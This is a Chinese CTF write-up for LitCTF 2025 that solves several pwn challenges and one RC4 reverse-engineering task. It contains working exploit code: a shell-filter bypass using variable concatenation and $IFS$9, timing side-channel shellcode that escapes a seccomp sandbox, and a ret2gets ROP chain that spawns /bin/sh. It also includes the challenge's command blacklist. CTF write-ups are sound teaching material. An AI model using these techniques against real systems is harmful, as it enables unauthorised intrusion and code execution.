PWN

test_your_nc

010edi打开附件

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)

发现过滤了一些指令,可以通过变量拼接构造cat,通过$IFS$9绕过空格过滤分隔指令

1
a=c;b=at;c=fl;d=ag;$a$b$IFS$9$c$d

也可以用

1
$0 , /bin/s? s''h 

shellcode

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
桌面$ seccomp-tools dump ./pwn
Welcome LitCTF 2025
Please input your shellcode:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

mmap分配了可执行的段在buf上需写shellcode绕过沙箱提权,先opean flag文件再read到栈上通过侧信道爆破逐字节读出flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
# context.log_level = "debug"
context.arch = 'amd64'

def dynamite_xor(io, idx, char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1)
shellcode += "mov al,[rsp+{0}];xor rax,{1};".format(str(idx), str(char))
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1)
payload = asm(shellcode)
io.recvuntil('Please input your shellcode: ')
info("\033[0;34mmov al,[rsp+{0}]; xor rax, {1};\033[0m".format(str(idx), chr(char)))
io.sendline(payload)

def dynamite_sub(io, idx, char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1)
shellcode += "mov al,[rsp+{0}];sub rax,{1};".format(str(idx), str(char))
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1)
payload = asm(shellcode)
io.recvuntil('Please input your shellcode: ')
info("\033[0;34mmov al,[rsp+{0}];sub rax,{1};\033[0m".format(str(idx), chr(char)))
io.sendline(payload)

def dynamite_add(io, idx, char):
shellcode = shellcraft.amd64.pushstr("flag")
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1)
shellcode += "mov al,[rsp+{0}];sub rax,{1};add rax, 2".format(str(idx), str(char))
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1)
payload = asm(shellcode)
io.recvuntil('Please input your shellcode: ')
info("\033[0;33mmov al,[rsp+{0}];sub rax,{1};add rax, 2;\033[0m".format(str(idx), chr(char)))
io.sendline(payload)

def check_time(io):
start_time = time.time()
try:
io.recv()
io.recv(timeout=2)
except:
pass
if time.time() - start_time >= 1.5:
return True
else:
return False

def check(io, idx, char):
dynamite_sub(io, idx, char)
if check_time(io):
io1 = remote('node10.anna.nssctf.cn', 25204)
dynamite_add(io1, idx, char)
if check_time(io1):
io1.close()
return True
return False

def main():
flag = "NSSCTF{"
start_idx = len(flag) # 跳过已知部分
for idx in range(start_idx, 100): # 从已知部分之后开始
for char in range(32, 127):
io = remote('node10.anna.nssctf.cn', 25204)
if check(io, idx, char):
flag += chr(char)
success("\033[0;32mflag[{0}]:{1}\033[0m".format(str(idx), chr(char)))
success("\033[0;32mflag:{0}\033[0m".format(flag))
break
io.close()
print(flag)

main()

1

onlyone

非栈上格式化字符串利用

check

1
2
3
4
5
6
7
8
桌面$ checksec fmt
[*] '/home/pwn/桌面/fmt'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

没开canary给了栈顶地址,给了puts地址,有libc和链接器,可以通过泄露出的puts地址得到libc基址,有fmt漏洞但是buf不在栈上,因为有libc所以考虑用one_gadget拿shell

master_of_rop

ret2gets泄露libc

check

1
2
3
4
5
6
7
8
9
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

发现没有pop rdi;ret程序很简单,有个puts函数和gets函数

用ret2gets泄露libc再打正常libc即可,ret2gets的知识会单独开一篇文章写

参考:

https://hawksec.gitbook.io/pt/exploitation/exploracao-de-binarios/exploits/stack/ret2gets

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')

#p = remote('node4.anna.nssctf.cn', 28497)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

gets_plt = elf.plt['gets']
puts_plt = elf.plt['puts']
main = 0x4011AD

def debug():
attach(p, 'b *0x4011D9')

debug()
sleep(3)
p.recvuntil("Welcome to LitCTF2025!\n")
payload = b'a'*0x28 + p64(gets_plt) + p64(gets_plt)
payload += p64(puts_plt) + p64(main)
p.sendline(payload)

p.sendline(p32(0) + b"AAAA" + b"AAAAAAAA")
p.sendline(b"AAAA")
p.recv(8)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) + 0x28c0
success('libc_base:' + hex(libc_base))

pop_rdi = libc_base + 0x10f75b
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh\x00'))

p.recvuntil("Welcome to LitCTF2025!\n")
payload = b'a'*0x28 + p64(pop_rdi) + p64(binsh)
payload += p64(0x40101a) + p64(system)
p.sendline(payload)

p.interactive()

RE

easy_rc4

简单的rc4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class RC4:
def __init__(self, key):
self.S = list(range(256))
j = 0
for i in range(256):
j = (j + self.S[i] + key[i % len(key)]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
self.i = self.j = 0

def keystream(self, length):
i, j, S = self.i, self.j, self.S.copy()
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
keystream.append(S[(S[i] + S[j]) % 256])
return keystream

# 提取密文字节(小端序转换)
cipher = [
0x78, 0xCC, 0x4E, 0x13, 0x31, 0xF4, 0x73, 0x49,
0x4F, 0x6C, 0x4F, 0x73, 0xC0, 0xF4, 0x35, 0x7E,
0xCE, 0x27, 0x76, 0x4D, 0x19, 0x60, 0x7A, 0xEA,
0x44, 0x5D, 0xC0, 0x42, 0x81, 0xDA, 0x1C, 0xF6,
0x64, 0x72, 0x58, 0xD9, 0x94, 0xFA, 0xF8, 0x13
]

# 生成密钥流并解密
rc4 = RC4(b'FenKey!!')
keystream = rc4.keystream(len(cipher))

flag_bytes = bytes([(c ^ 0x20) ^ k for c, k in zip(cipher, keystream)])
print("Flag:", flag_bytes.decode())